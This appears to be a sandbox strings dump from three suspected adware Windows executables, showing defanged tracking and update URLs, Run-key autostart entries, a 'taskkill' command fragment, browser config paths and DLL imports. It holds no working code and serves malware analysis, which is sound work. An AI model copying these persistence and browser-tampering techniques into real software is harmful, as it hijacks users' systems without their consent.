Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.

Access to %1 was denied..An invalid file handle was associated with %1.

Access to %1 was denied..An invalid file handle was associated with %1.

Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.

Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.

Disk full while accessing %1..An attempt was made to access %1 past its end.

Disk full while accessing %1..An attempt was made to access %1 past its end.

No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.

No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.

#Unable to load mail system support.

#Unable to load mail system support.

Ainqngz5.2.exe_504:

.text

.text

`.data

`.data

.rsrc

.rsrc

MSVBVM60.DLL

MSVBVM60.DLL

"44)*612

"44)*612

urlww

urlww

.FlGc

.FlGc

%smzCz

%smzCz

SHDocVwCtl.WebBrowser

SHDocVwCtl.WebBrowser

#vb6chs.dll

#vb6chs.dll

ieframe.dll

ieframe.dll

WebBrowser

WebBrowser

%Program Files%\VB

%Program Files%\VB

\VB6.OLB

\VB6.OLB

C:\Windows\System32\mshtml.tlb

C:\Windows\System32\mshtml.tlb

winmm.dll

winmm.dll

C:\Windows\System32\ieframe.oca

C:\Windows\System32\ieframe.oca

advapi32.dll

advapi32.dll

RegCloseKey

RegCloseKey

RegCreateKeyA

RegCreateKeyA

RegOpenKeyA

RegOpenKeyA

wininet.dll

wininet.dll

InternetOpenUrlA

InternetOpenUrlA

GetUrlSource

GetUrlSource

VBA6.DLL

VBA6.DLL

sUrl

sUrl

v.baofeng.com

v.baofeng.com

99999999999

99999999999

hXXp://order.5bo.com/

hXXp://order.5bo.com/

hXXp://wpa.qq.com

hXXp://wpa.qq.com

hXXp://VVV.baidu.com/

hXXp://VVV.baidu.com/

hXXp://hzf.v.baofeng.com/#

hXXp://hzf.v.baofeng.com/#

hXXp://hzf.v.baofeng.com/

hXXp://hzf.v.baofeng.com/

"url":"

"url":"

"swfurl":"

"swfurl":"

hXXp://

hXXp://

hXXp://tv.aiqingzhihui.com/zhibo2.html?id=

hXXp://tv.aiqingzhihui.com/zhibo2.html?id=

\setings.ini

\setings.ini

candid.exe

candid.exe

cmd.exe /c taskkill /im

cmd.exe /c taskkill /im

qq.com

qq.com

hXXp://tv.aiqingzhihui.com/zhibo2.html

hXXp://tv.aiqingzhihui.com/zhibo2.html

hXXp://y.qq.com/player

hXXp://y.qq.com/player

pptv.com

pptv.com

sohu.com

sohu.com

56.com

56.com

ifeng.com

ifeng.com

youku.com

youku.com

ku6.com

ku6.com

tudou.com

tudou.com

cntv.cn

cntv.cn

iqiyi.com

iqiyi.com

wasu.cn

wasu.cn

pps.tv

pps.tv

letv.com

letv.com

imgo.tv

imgo.tv

kankan.com

kankan.com

sina.com.cn

sina.com.cn

m1905.com

m1905.com

hz.letv.com

hz.letv.com

tv.sohu.com

tv.sohu.com

baofeng.com

baofeng.com

Ainqngz4.7.exe

Ainqngz4.7.exe

candid.exe_600:

.text

.text

`.data

`.data

.rsrc

.rsrc

MSVBVM60.DLL

MSVBVM60.DLL

[11

[11

[:>

[:>

y%D:To

y%D:To

SHDocVwCtl.WebBrowser

SHDocVwCtl.WebBrowser

#vb6chs.dll

#vb6chs.dll

ieframe.dll

ieframe.dll

WebBrowser

WebBrowser

%Program Files%\VB

%Program Files%\VB

\VB6.OLB

\VB6.OLB

]! 2C:\Windows\System32\ieframe.oca

]! 2C:\Windows\System32\ieframe.oca

C:\Windows\System32\mshtml.tlb

C:\Windows\System32\mshtml.tlb

winmm.dll

winmm.dll

VBA6.DLL

VBA6.DLL

RegCreateKeyA

RegCreateKeyA

advapi32.dll

advapi32.dll

RegCloseKey

RegCloseKey

RegOpenKeyA

RegOpenKeyA

wininet.dll

wininet.dll

InternetOpenUrlA

InternetOpenUrlA

GetUrlSource

GetUrlSource

C:\Windows\system32\msvbvm60.dll\3

C:\Windows\system32\msvbvm60.dll\3

NotifyMsgBox

NotifyMsgBox

user32.dll

user32.dll

oleaut32.dll

oleaut32.dll

kernel32.dll

kernel32.dll

WebBrowser2

WebBrowser2

WebBrowser1

WebBrowser1

0123210

0123210

)o4.tr

)o4.tr

sUrl

sUrl

\Ainqngz5.2.exe

\Ainqngz5.2.exe

\setings.ini

\setings.ini

\Ainqngz4.0.exe

\Ainqngz4.0.exe

hXXp://aimini.aiqingzhihui.com/ta2/?flag=

hXXp://aimini.aiqingzhihui.com/ta2/?flag=

hXXp://aimini.aiqingzhihui.com/ta3/?flag=

hXXp://aimini.aiqingzhihui.com/ta3/?flag=

hXXp://aitime.aiqingzhihui.com/newh1/?

hXXp://aitime.aiqingzhihui.com/newh1/?

hXXp://aitime.aiqingzhihui.com/newh2/?2

hXXp://aitime.aiqingzhihui.com/newh2/?2

hXXp://aitime.aiqingzhihui.com/newh3/?3

hXXp://aitime.aiqingzhihui.com/newh3/?3

hXXp://aimini.aiqingzhihui.com/new/?

hXXp://aimini.aiqingzhihui.com/new/?

hXXp://aimini.aiqingzhihui.com/new/?2

hXXp://aimini.aiqingzhihui.com/new/?2

hXXp://aimini.aiqingzhihui.com/ta1/?flag=

hXXp://aimini.aiqingzhihui.com/ta1/?flag=

Ainqngz5.2.exe

Ainqngz5.2.exe

C:\\Program Files\\Internet Explorer\\IEXPLORE.exe

C:\\Program Files\\Internet Explorer\\IEXPLORE.exe

cmd.exe /c taskkill /im

cmd.exe /c taskkill /im

hXXp://aimini.aiqingzhihui.com/new/?flag=

hXXp://aimini.aiqingzhihui.com/new/?flag=

hXXp://aitime.aiqingzhihui.com/dnewh1/?flag=

hXXp://aitime.aiqingzhihui.com/dnewh1/?flag=

hXXp://aitime.aiqingzhihui.com/dnewh2/?flag=

hXXp://aitime.aiqingzhihui.com/dnewh2/?flag=

hXXp://aitime.aiqingzhihui.com/dnewh3/?flag=

hXXp://aitime.aiqingzhihui.com/dnewh3/?flag=

hXXp://aitime.aiqingzhihui.com/newh1/?flag=

hXXp://aitime.aiqingzhihui.com/newh1/?flag=

hXXp://aitime.aiqingzhihui.com/newh2/?flag=

hXXp://aitime.aiqingzhihui.com/newh2/?flag=

hXXp://aitime.aiqingzhihui.com/newh3/?flag=

hXXp://aitime.aiqingzhihui.com/newh3/?flag=

hXXp:///

hXXp:///

kinetic.exe

kinetic.exe

yymusic05.exe_3356:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

u.jAh

u.jAh

t.HuZ

t.HuZ

xSSSh

xSSSh

FTPjKS

FTPjKS

FtPj;S

FtPj;S

C.PjRV

C.PjRV

Visual C CRT: Not enough memory to complete call to strerror.

Visual C CRT: Not enough memory to complete call to strerror.

GetProcessWindowStation

GetProcessWindowStation

portuguese-brazilian

portuguese-brazilian

Broken pipe

Broken pipe

Inappropriate I/O control operation

Inappropriate I/O control operation

Operation not permitted

Operation not permitted

operator

operator

windows936

windows936

windows932

windows932

windows874

windows874

windows1257

windows1257

windows1256

windows1256

windows1255

windows1255

windows1254

windows1254

windows1253

windows1253

windows1252

windows1252

windows1251

windows1251

windows1250

windows1250

Invalid or unsupported charset:

Invalid or unsupported charset:

%sData\user2.ini

%sData\user2.ini

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Microsoft\Windows\CurrentVersion\Uninstall\{06F57725-D702-43A9-A8D4-40BB36C9B07F}

Software\Microsoft\Windows\CurrentVersion\Uninstall\{06F57725-D702-43A9-A8D4-40BB36C9B07F}

Unins.exe

Unins.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

hXXp://update.bianya.cc/stj.ashx

hXXp://update.bianya.cc/stj.ashx

AutoRunTipFrame.xml

AutoRunTipFrame.xml

FrmColor.xml

FrmColor.xml

\SysConfig.ini

\SysConfig.ini

FrmConfig.xml

FrmConfig.xml

Data\dh.ini

Data\dh.ini

ShowHideWindowKey

ShowHideWindowKey

ExitWindowKey

ExitWindowKey

tab_hotkey

tab_hotkey

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

BoxNews.exe

BoxNews.exe

"%s%s" -mini

"%s%s" -mini

"%s" -mini

"%s" -mini

%s\%s

%s\%s

favorfm.xml

favorfm.xml

channels.xml

channels.xml

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/ptree_implementation.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/ptree_implementation.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/xml_parser.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/xml_parser.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/xml_parser_read_rapidxml.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/xml_parser_read_rapidxml.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/xml_parser_write.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/xml_parser_write.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/string_path.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/string_path.hpp

FrmFeedBack.xml

FrmFeedBack.xml

hXXp://tongji.yinyue.fm/feedback/b.html

hXXp://tongji.yinyue.fm/feedback/b.html

Data/setup.ini

Data/setup.ini

FrmHotKeyTip.xml

FrmHotKeyTip.xml

HotKeyTipFrame

HotKeyTipFrame

hotkey

hotkey

d:d:d

d:d:d

FrmLrcChild.xml

FrmLrcChild.xml

FrmLrc.xml

FrmLrc.xml

Source Files\LrcFrame.cpp

Source Files\LrcFrame.cpp

BtnLogin

BtnLogin

yymusic05.exe

yymusic05.exe

hXXp://VVV.hao123.com/?tn=98868055_hao_pg

hXXp://VVV.hao123.com/?tn=98868055_hao_pg

hXXp://update.yinyue.fm/goUrl.html?

hXXp://update.yinyue.fm/goUrl.html?

Skin.rs

Skin.rs

Skin\mainframeshadow.png

Skin\mainframeshadow.png

hXXp://update.yinyue.fm/tj.ashx

hXXp://update.yinyue.fm/tj.ashx

Skin\progresstooltip.png

Skin\progresstooltip.png

__HotKeyTipWindow

__HotKeyTipWindow

__HotKeyTipClass

__HotKeyTipClass

Skin\hotkeytipbk.png

Skin\hotkeytipbk.png

adb.exe

adb.exe

aapt.exe

aapt.exe

apnews.exe

apnews.exe

FrmPlayer.xml

FrmPlayer.xml

60,8,100,118

60,8,100,118

60,24,100,134

60,24,100,134

Source Files\MainFrame.cpp

Source Files\MainFrame.cpp

file='suspensiontopa.png'

file='suspensiontopa.png'

file='suspensiontop.png'

file='suspensiontop.png'

file='suspensiontopahover.png'

file='suspensiontopahover.png'

file='btn-play.png' source='0,0,64,64'

file='btn-play.png' source='0,0,64,64'

file='btn-play.png' source='0,64,64,128'

file='btn-play.png' source='0,64,64,128'

file='btn-play.png' source='0,128,64,192'

file='btn-play.png' source='0,128,64,192'

file='lyrictoplay.png'

file='lyrictoplay.png'

pl_play.png

pl_play.png

file='btn-pause.png' source='0,0,64,64'

file='btn-pause.png' source='0,0,64,64'

file='btn-pause.png' source='0,64,64,128'

file='btn-pause.png' source='0,64,64,128'

file='btn-pause.png' source='0,128,64,192'

file='btn-pause.png' source='0,128,64,192'

file='play0520.png' source='0,0,35,20'

file='play0520.png' source='0,0,35,20'

file='play0520.png' source='0,20,35,40'

file='play0520.png' source='0,20,35,40'

file='play0520.png' source='0,40,35,59'

file='play0520.png' source='0,40,35,59'

pl_pause.png

pl_pause.png

file='loading0%d.png'

file='loading0%d.png'

-d:d:d

-d:d:d

-d:d

-d:d

file='play0520.png' source='0,0,35,20'

file='play0520.png' source='0,0,35,20'

file='play0520.png' source='0,20,35,40'

file='play0520.png' source='0,20,35,40'

file='play0520.png' source='0,40,35,59'

file='play0520.png' source='0,40,35,59'

file='bk.png'

file='bk.png'

lyriclikea2.png

lyriclikea2.png

lyriclike.png

lyriclike.png

lyriclikea.png

lyriclikea.png

MessageBox.xml

MessageBox.xml

Source Files\MusicPlayer.cpp

Source Files\MusicPlayer.cpp

hXXp://update.yinyue.fm/

hXXp://update.yinyue.fm/

(3-!0,1'8"5.*2$

(3-!0,1'8"5.*2$

Data\server.ini

Data\server.ini

Data\Version.ini

Data\Version.ini

appupdate/ver.txt

appupdate/ver.txt

PlayerUpdate.exe

PlayerUpdate.exe

FrmPlayList.xml

FrmPlayList.xml

FrmPopWnd.xml

FrmPopWnd.xml

WebBrowserEx

WebBrowserEx

hXXp://update.yinyue.fm/url.txt

hXXp://update.yinyue.fm/url.txt

FrmProgressToolTip.xml

FrmProgressToolTip.xml

%d:d

%d:d

hXXp://tongji.yinyue.fm/

hXXp://tongji.yinyue.fm/

a.ashx

a.ashx

00:00:00:00:00:00

00:00:00:00:00:00

%d-%d-%d %d:%d:%d

%d-%d-%d %d:%d:%d

icon/ccjs.ico

icon/ccjs.ico

icon/ie.ico

icon/ie.ico

Internet Explorer YyfmPlay.lnk

Internet Explorer YyfmPlay.lnk

icon\gouwu.ico

icon\gouwu.ico

hXXp://update.yinyue.fm//dh.txt

hXXp://update.yinyue.fm//dh.txt

icon\ccjs.ico

icon\ccjs.ico

icon\ie.ico

icon\ie.ico

X:X:X:X:X:X

X:X:X:X:X:X

//./%s

//./%s

Data/version.ini

Data/version.ini

2000-01-01

2000-01-01

2000-01-01 00:00:00

2000-01-01 00:00:00

Data/client.ini

Data/client.ini

Data/dh.ini

Data/dh.ini

Software\Microsoft\Windows NT\CurrentVersion

Software\Microsoft\Windows NT\CurrentVersion

Data/user2.ini

Data/user2.ini

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TheWorld.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TheWorld.exe

\TheWorld.ini

\TheWorld.ini

\Baidu\browser\config.ini

\Baidu\browser\config.ini

\SogouExplorer\config.xml

\SogouExplorer\config.xml

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Maxthon2

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Maxthon2

SharedAccount\Config\Config.ini

SharedAccount\Config\Config.ini

SetTipFrame.xml

SetTipFrame.xml

FrmSetWindowLrcFrame.xml

FrmSetWindowLrcFrame.xml

Source Files\SetWindowLrcFrame.cpp

Source Files\SetWindowLrcFrame.cpp

FrmSystemMenuFrame.xml

FrmSystemMenuFrame.xml

event_edit_keydown_eshowhide

event_edit_keydown_eshowhide

event_edit_keydown_eexit

event_edit_keydown_eexit

file='list_play.png' dest='6,6,24,24'

file='list_play.png' dest='6,6,24,24'

file='list_pause.png' dest='6,6,24,24'

file='list_pause.png' dest='6,6,24,24'

2-0-0|1-0-0

2-0-0|1-0-0

1-0-0|1-0-0

1-0-0|1-0-0

3-0-0|1-0-0

3-0-0|1-0-0

4-0-0|1-0-0

4-0-0|1-0-0

5-0-0|1-0-0

5-0-0|1-0-0

6-0-0|1-0-0

6-0-0|1-0-0

list_item.xml

list_item.xml

operation

operation

frmWindowLrc.xml

frmWindowLrc.xml

frmWindowLrcParent.xml

frmWindowLrcParent.xml

hXXp://VVV.9ku.com/lrc2/

hXXp://VVV.9ku.com/lrc2/

hXXp://VVV.9ku.com/fm/

hXXp://VVV.9ku.com/fm/

hXXp://img.9ku.com

hXXp://img.9ku.com

hXXp://mp3.9ku.com

hXXp://mp3.9ku.com

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/json_parser_read.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/json_parser_read.hpp

hXXp://player.kuwo.cn/webmusic/st/getMuiseDate?flag=3&r=&pd=

hXXp://player.kuwo.cn/webmusic/st/getMuiseDate?flag=3&r=&pd=

hXXp://fm.baidu.com/dev/api/?tn=playlist&id=

hXXp://fm.baidu.com/dev/api/?tn=playlist&id=

hXXp://music.baidu.com/data/music/fmlink?type=mp3&rate=320&songIds=

hXXp://music.baidu.com/data/music/fmlink?type=mp3&rate=320&songIds=

hXXp://fm.baidu.com

hXXp://fm.baidu.com

hXXp://pan.baidu.com

hXXp://pan.baidu.com

hXXp://live.hkuradio.com/radio2?download=1

hXXp://live.hkuradio.com/radio2?download=1

hXXp://imgs.diantai.ifeng.com/images/channelimg/update_uradio_new_yy.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/update_uradio_new_yy.png

hXXp://live.hkuradio.com/radio1?download=1

hXXp://live.hkuradio.com/radio1?download=1

hXXp://imgs.diantai.ifeng.com/images/channelimg/update_uradio_new_zh.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/update_uradio_new_zh.png

hXXp://live.3gv.ifeng.com/live/zhongwen?fmt=mp3_32k_mp3

hXXp://live.3gv.ifeng.com/live/zhongwen?fmt=mp3_32k_mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_zwt_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_zwt_new.png

hXXp://live.3gv.ifeng.com/live/zixun?fmt=mp3_32k_mp3

hXXp://live.3gv.ifeng.com/live/zixun?fmt=mp3_32k_mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_zxt_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_zxt_new.png

hXXp://live.3gv.ifeng.com/live/hongkong?fmt=mp3_32k_mp3

hXXp://live.3gv.ifeng.com/live/hongkong?fmt=mp3_32k_mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_xgt_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_xgt_new.png

hXXp://moblive.rbc.cn/fm876.mp3

hXXp://moblive.rbc.cn/fm876.mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_wy_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_wy_new.png

hXXp://moblive.rbc.cn/fm1039.mp3

hXXp://moblive.rbc.cn/fm1039.mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgjt_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgjt_new.png

hXXp://moblive.rbc.cn/fm1006.mp3

hXXp://moblive.rbc.cn/fm1006.mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_xw_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_xw_new.png

hXXp://moblive.rbc.cn/am603.mp3

hXXp://moblive.rbc.cn/am603.mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bggs_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bggs_new.png

hXXp://moblive.rbc.cn/fm1025.mp3

hXXp://moblive.rbc.cn/fm1025.mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgty_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgty_new.png

hXXp://moblive.rbc.cn/am774.mp3

hXXp://moblive.rbc.cn/am774.mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgwy_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgwy_new.png

hXXp://moblive.rbc.cn/am927.mp3

hXXp://moblive.rbc.cn/am927.mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgaj_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgaj_new.png

hXXp://moblive.rbc.cn/fm1073.mp3

hXXp://moblive.rbc.cn/fm1073.mp3

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgcsfw_new.png

hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgcsfw_new.png

hXXp://VVV.xiami.com/radio/play/type/6/oid/0

hXXp://VVV.xiami.com/radio/play/type/6/oid/0

libfm::fm_douban_impl::login

libfm::fm_douban_impl::login

hXXp://VVV.douban.com/j/app/login

hXXp://VVV.douban.com/j/app/login

&password=

&password=

hXXp://VVV.douban.com/j/app/radio/people?app_name=radio_desktop_win&version=100&user_id=

hXXp://VVV.douban.com/j/app/radio/people?app_name=radio_desktop_win&version=100&user_id=

hXXp://VVV.douban.com/j/app/radio/people?app_name=radio_desktop_win&version=100&type=

hXXp://VVV.douban.com/j/app/radio/people?app_name=radio_desktop_win&version=100&type=

hXXp://shopcgi.qqmusic.qq.com/fcgi-bin/shopsearch.fcg?out=json&value=

hXXp://shopcgi.qqmusic.qq.com/fcgi-bin/shopsearch.fcg?out=json&value=

"msg":

"msg":

_0.jpg

_0.jpg

hXXp://imgcache.qq.com/music/photo/album/

hXXp://imgcache.qq.com/music/photo/album/

hXXp://music.qq.com/miniportal/static/lyric/

hXXp://music.qq.com/miniportal/static/lyric/

libfm::fm_impl::get_song_url

libfm::fm_impl::get_song_url

libfm::fm_impl::login

libfm::fm_impl::login

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

GetAsyncKeyState

GetAsyncKeyState

RegisterHotKey

RegisterHotKey

UnregisterHotKey

UnregisterHotKey

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

RegDeleteKeyA

RegDeleteKeyA

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegOpenKeyExA

RegOpenKeyA

RegOpenKeyA

RegCloseKey

RegCloseKey

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

avcore.dll

avcore.dll

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

SHLWAPI.dll

SHLWAPI.dll

gdiplus.dll

gdiplus.dll

?OnKeyDown@WindowImplBase@DuiLib@@UAEJIIJAAH@Z

?OnKeyDown@WindowImplBase@DuiLib@@UAEJIIJAAH@Z

?GetMessageMap@WindowImplBase@DuiLib@@MBEPBUDUI_MSGMAP@2@XZ

?GetMessageMap@WindowImplBase@DuiLib@@MBEPBUDUI_MSGMAP@2@XZ

?SetAutoNavigation@CWebBrowserUI@DuiLib@@QAEX_N@Z

?SetAutoNavigation@CWebBrowserUI@DuiLib@@QAEX_N@Z

?SetHomePage@CWebBrowserUI@DuiLib@@QAEXPBD@Z

?SetHomePage@CWebBrowserUI@DuiLib@@QAEXPBD@Z

?Download@CWebBrowserUI@DuiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z

?Download@CWebBrowserUI@DuiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z

?Exec@CWebBrowserUI@DuiLib@@UAGJPBU_GUID@@KKPAUtagVARIANT@@1@Z

?Exec@CWebBrowserUI@DuiLib@@UAGJPBU_GUID@@KKPAUtagVARIANT@@1@Z

?QueryStatus@CWebBrowserUI@DuiLib@@UAGJPBU_GUID@@KQAU_tagOLECMD@@PAU_tagOLECMDTEXT@@@Z

?QueryStatus@CWebBrowserUI@DuiLib@@UAGJPBU_GUID@@KQAU_tagOLECMD@@PAU_tagOLECMDTEXT@@@Z

?QueryService@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@0PAPAX@Z

?QueryService@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@0PAPAX@Z

?FilterDataObject@CWebBrowserUI@DuiLib@@UAGJPAUIDataObject@@PAPAU3@@Z

?FilterDataObject@CWebBrowserUI@DuiLib@@UAGJPAUIDataObject@@PAPAU3@@Z

?TranslateUrl@CWebBrowserUI@DuiLib@@UAGJKPA_WPAPA_W@Z

?TranslateUrl@CWebBrowserUI@DuiLib@@UAGJKPA_WPAPA_W@Z

?GetDropTarget@CWebBrowserUI@DuiLib@@UAGJPAUIDropTarget@@PAPAU3@@Z

?GetDropTarget@CWebBrowserUI@DuiLib@@UAGJPAUIDropTarget@@PAPAU3@@Z

?GetOptionKeyPath@CWebBrowserUI@DuiLib@@UAGJPAPA_WK@Z

?GetOptionKeyPath@CWebBrowserUI@DuiLib@@UAGJPAPA_WK@Z

?TranslateAcceleratorA@CWebBrowserUI@DuiLib@@UAGJPAUtagMSG@@PBU_GUID@@K@Z

?TranslateAcceleratorA@CWebBrowserUI@DuiLib@@UAGJPAUtagMSG@@PBU_GUID@@K@Z

?TranslateAcceleratorA@CWebBrowserUI@DuiLib@@UAEJPAUtagMSG@@@Z

?TranslateAcceleratorA@CWebBrowserUI@DuiLib@@UAEJPAUtagMSG@@@Z

?ResizeBorder@CWebBrowserUI@DuiLib@@UAGJPBUtagRECT@@PAUIOleInPlaceUIWindow@@H@Z

?ResizeBorder@CWebBrowserUI@DuiLib@@UAGJPBUtagRECT@@PAUIOleInPlaceUIWindow@@H@Z

?OnFrameWindowActivate@CWebBrowserUI@DuiLib@@UAGJH@Z

?OnFrameWindowActivate@CWebBrowserUI@DuiLib@@UAGJH@Z

?OnDocWindowActivate@CWebBrowserUI@DuiLib@@UAGJH@Z

?OnDocWindowActivate@CWebBrowserUI@DuiLib@@UAGJH@Z

?EnableModeless@CWebBrowserUI@DuiLib@@UAGJH@Z

?EnableModeless@CWebBrowserUI@DuiLib@@UAGJH@Z

?UpdateUI@CWebBrowserUI@DuiLib@@UAGJXZ

?UpdateUI@CWebBrowserUI@DuiLib@@UAGJXZ

?HideUI@CWebBrowserUI@DuiLib@@UAGJXZ

?HideUI@CWebBrowserUI@DuiLib@@UAGJXZ

?ShowUI@CWebBrowserUI@DuiLib@@UAGJKPAUIOleInPlaceActiveObject@@PAUIOleCommandTarget@@PAUIOleInPlaceFrame@@PAUIOleInPlaceUIWindow@@@Z

?ShowUI@CWebBrowserUI@DuiLib@@UAGJKPAUIOleInPlaceActiveObject@@PAUIOleCommandTarget@@PAUIOleInPlaceFrame@@PAUIOleInPlaceUIWindow@@@Z

?GetHostInfo@CWebBrowserUI@DuiLib@@UAGJPAU_DOCHOSTUIINFO@@@Z

?GetHostInfo@CWebBrowserUI@DuiLib@@UAGJPAU_DOCHOSTUIINFO@@@Z

?ShowContextMenu@CWebBrowserUI@DuiLib@@UAGJKPAUtagPOINT@@PAUIUnknown@@PAUIDispatch@@@Z

?ShowContextMenu@CWebBrowserUI@DuiLib@@UAGJKPAUtagPOINT@@PAUIUnknown@@PAUIDispatch@@@Z

?Invoke@CWebBrowserUI@DuiLib@@UAGJJABU_GUID@@KGPAUtagDISPPARAMS@@PAUtagVARIANT@@PAUtagEXCEPINFO@@PAI@Z

?Invoke@CWebBrowserUI@DuiLib@@UAGJJABU_GUID@@KGPAUtagDISPPARAMS@@PAUtagVARIANT@@PAUtagEXCEPINFO@@PAI@Z

?GetIDsOfNames@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@PAPA_WIKPAJ@Z

?GetIDsOfNames@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@PAPA_WIKPAJ@Z

?GetTypeInfo@CWebBrowserUI@DuiLib@@UAGJIKPAPAUITypeInfo@@@Z

?GetTypeInfo@CWebBrowserUI@DuiLib@@UAGJIKPAPAUITypeInfo@@@Z

?GetTypeInfoCount@CWebBrowserUI@DuiLib@@UAGJPAI@Z

?GetTypeInfoCount@CWebBrowserUI@DuiLib@@UAGJPAI@Z

?QueryInterface@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@PAPAX@Z

?QueryInterface@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@PAPAX@Z

?Release@CWebBrowserUI@DuiLib@@UAGKXZ

?Release@CWebBrowserUI@DuiLib@@UAGKXZ

?AddRef@CWebBrowserUI@DuiLib@@UAGKXZ

?AddRef@CWebBrowserUI@DuiLib@@UAGKXZ

?GetInterface@CWebBrowserUI@DuiLib@@UAEPAXPBD@Z

?GetInterface@CWebBrowserUI@DuiLib@@UAEPAXPBD@Z

?GetClass@CWebBrowserUI@DuiLib@@UBEPBDXZ

?GetClass@CWebBrowserUI@DuiLib@@UBEPBDXZ

??1CWebBrowserUI@DuiLib@@UAE@XZ

??1CWebBrowserUI@DuiLib@@UAE@XZ

??0CWebBrowserUI@DuiLib@@QAE@XZ

??0CWebBrowserUI@DuiLib@@QAE@XZ

?SetKeyboardEnabled@CControlUI@DuiLib@@UAEX_N@Z

?SetKeyboardEnabled@CControlUI@DuiLib@@UAEX_N@Z

?IsKeyboardEnabled@CControlUI@DuiLib@@UBE_NXZ

?IsKeyboardEnabled@CControlUI@DuiLib@@UBE_NXZ

?Navigate2@CWebBrowserUI@DuiLib@@QAEXPBD@Z

?Navigate2@CWebBrowserUI@DuiLib@@QAEXPBD@Z

DuiLib.dll

DuiLib.dll

PSAPI.DLL

PSAPI.DLL

IPHLPAPI.DLL

IPHLPAPI.DLL

NETAPI32.dll

NETAPI32.dll

GetCPInfo

GetCPInfo

GetProcessHeap

GetProcessHeap

zcÁ

zcÁ

.?AVCWebBrowserUI@DuiLib@@

.?AVCWebBrowserUI@DuiLib@@

.?AVCHotKeyTipFrameWnd@@

.?AVCHotKeyTipFrameWnd@@

.?AVCWebBrowserUIEx@@

.?AVCWebBrowserUIEx@@

.?AVWebBrowserEventSinker@@

.?AVWebBrowserEventSinker@@

